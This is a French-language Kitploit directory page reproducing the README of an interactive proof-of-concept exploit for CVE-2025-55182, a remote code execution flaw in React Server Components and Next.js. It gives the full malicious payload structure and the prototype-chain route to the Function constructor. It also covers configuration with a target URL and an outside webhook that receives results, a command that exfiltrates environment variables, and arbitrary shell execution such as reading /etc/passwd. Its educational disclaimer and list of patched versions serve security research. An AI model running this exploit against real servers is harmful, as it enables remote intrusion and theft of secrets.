Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
react2shell-interactive — CVE-2025-55182 PoC interactif - React Server Components RCE - Recherche pédagogique en sécurité | Kitploit
Outils/GitHubGitHub/nathanj60/react2shell-interactive
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHub
nathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 PoC interactif - React Server Components RCE - Recherche pédagogique en sécurité

Voir le dépôt
2il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

React2Shell - CVE-2025-55182 PoC interactif

Shell interactif pour exploiter CVE-2025-55182, une vulnérabilité d'exécution de code à distance dans les composants serveur React.

Avertissement

Cet outil est fourni uniquement à des fins ÉDUCATIVES et de TESTS DE SÉCURITÉ AUTORISÉS.

  • Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite
  • L'accès non autorisé à des systèmes informatiques est illégal
  • L'auteur n'est pas responsable de toute utilisation abusive de cet outil
  • Il s'agit d'une preuve de concept pour la recherche et la sensibilisation en sécurité

Présentation de la vulnérabilité

CVE-2025-55182 affecte les composants serveur React (RSC) dans :

  • Next.js < 15.1.7, < 14.2.29, < 13.5.9
  • Waku (plusieurs versions)

La vulnérabilité permet l'exécution de code à distance (RCE) via des charges utiles malveillantes envoyées aux actions serveur.

Fonctionnement

  1. Le protocole RSC utilise la syntaxe $@x pour référencer des objets Chunk internes
  2. JavaScript décompresse automatiquement les objets dotés de méthodes .then() (similaires à des Promesses)
  • En créant une charge utile malveillante avec des propriétés contrôlées _response, _formData et _prefix
  • L'attaquant peut atteindre le constructeur Function via une traversée de la chaîne de prototypes
  • Cela permet l'exécution arbitraire de JavaScript sur le serveur
  • root@kitploit:~
    $3:constructor:constructor → Constructeur Function → RCE
    

    Installation

    root@kitploit:~
    git clone https://github.com/NathanJ60/react2shell-interactive.git
    cd react2shell-interactive
    npm install
    

    Configuration

    Modifiez exploit.js et mettez à jour ces valeurs :

    root@kitploit:~
    const TARGET_URL = 'http://localhost:3000/'          // Serveur Next.js vulnérable
    const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Votre URL de webhook
    

    Obtenez un webhook gratuit sur : https://webhook.site

    Utilisation

    root@kitploit:~
    node exploit.js
    

    Commandes

    CommandeDescription
    !testTester si l'exploit fonctionne (envoie une confirmation au webhook)
    !envExfiltrer les variables d'environnement (process.env)
    !js <code>Exécuter du JavaScript personnalisé
    !helpAfficher l'aide
    !exitQuitter
    <commande>Exécuter une commande shell (ex : whoami, ls, cat /etc/passwd)

    Exemple de session

    root@kitploit:~
    react2shell> !test
    [+] Envoyé ! Vérifiez le webhook
    
    react2shell> whoami
    [+] Envoyé : whoami
    
    react2shell> ls -la
    [+] Envoyé : ls -la
    
    react2shell> !env
    [+] Envoyé ! Vérifiez le webhook pour les variables d'environnement
    

    Les résultats apparaissent sur votre webhook, pas dans le terminal.

    Détails techniques

    Structure de la charge utile

    root@kitploit:~
    {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': '<JAVASCRIPT_CODE>//',
            '_formData': { 'get': '$3:constructor:constructor' },
            '_chunks': '$2:_response:_chunks'
        }
    }
    

    Déroulement de l'exécution

    1. La charge utile est envoyée sous forme de données de formulaire multipart avec l'en-tête next-action
    2. L'analyseur React Flight traite les chunks
    3. $@3 crée une référence Chunk
    4. $3:constructor:constructor traverse jusqu'à Function
    5. Le contenu de _prefix est passé à Function() et exécuté

    Remarques pour Next.js 15+

    • Utilise les modules ESM, donc require() n'est pas disponible
    • Utilisez plutôt import() dynamique :
      root@kitploit:~
      import("child_process").then(cp => cp.execSync("whoami"))
      

    Versions corrigées

    Mettez à jour vers ces versions pour corriger la vulnérabilité :

    • Next.js >= 15.1.7
    • Next.js >= 14.2.29
    • Next.js >= 13.5.9

    Références

    • Site officiel React2Shell
    • Plugin Google Tsunami Scanner

    Licence

    Licence MIT - À des fins éducatives uniquement.

    Auteur

    PoC de recherche en sécurité - À utiliser de manière responsable.

    Télécharger l’outil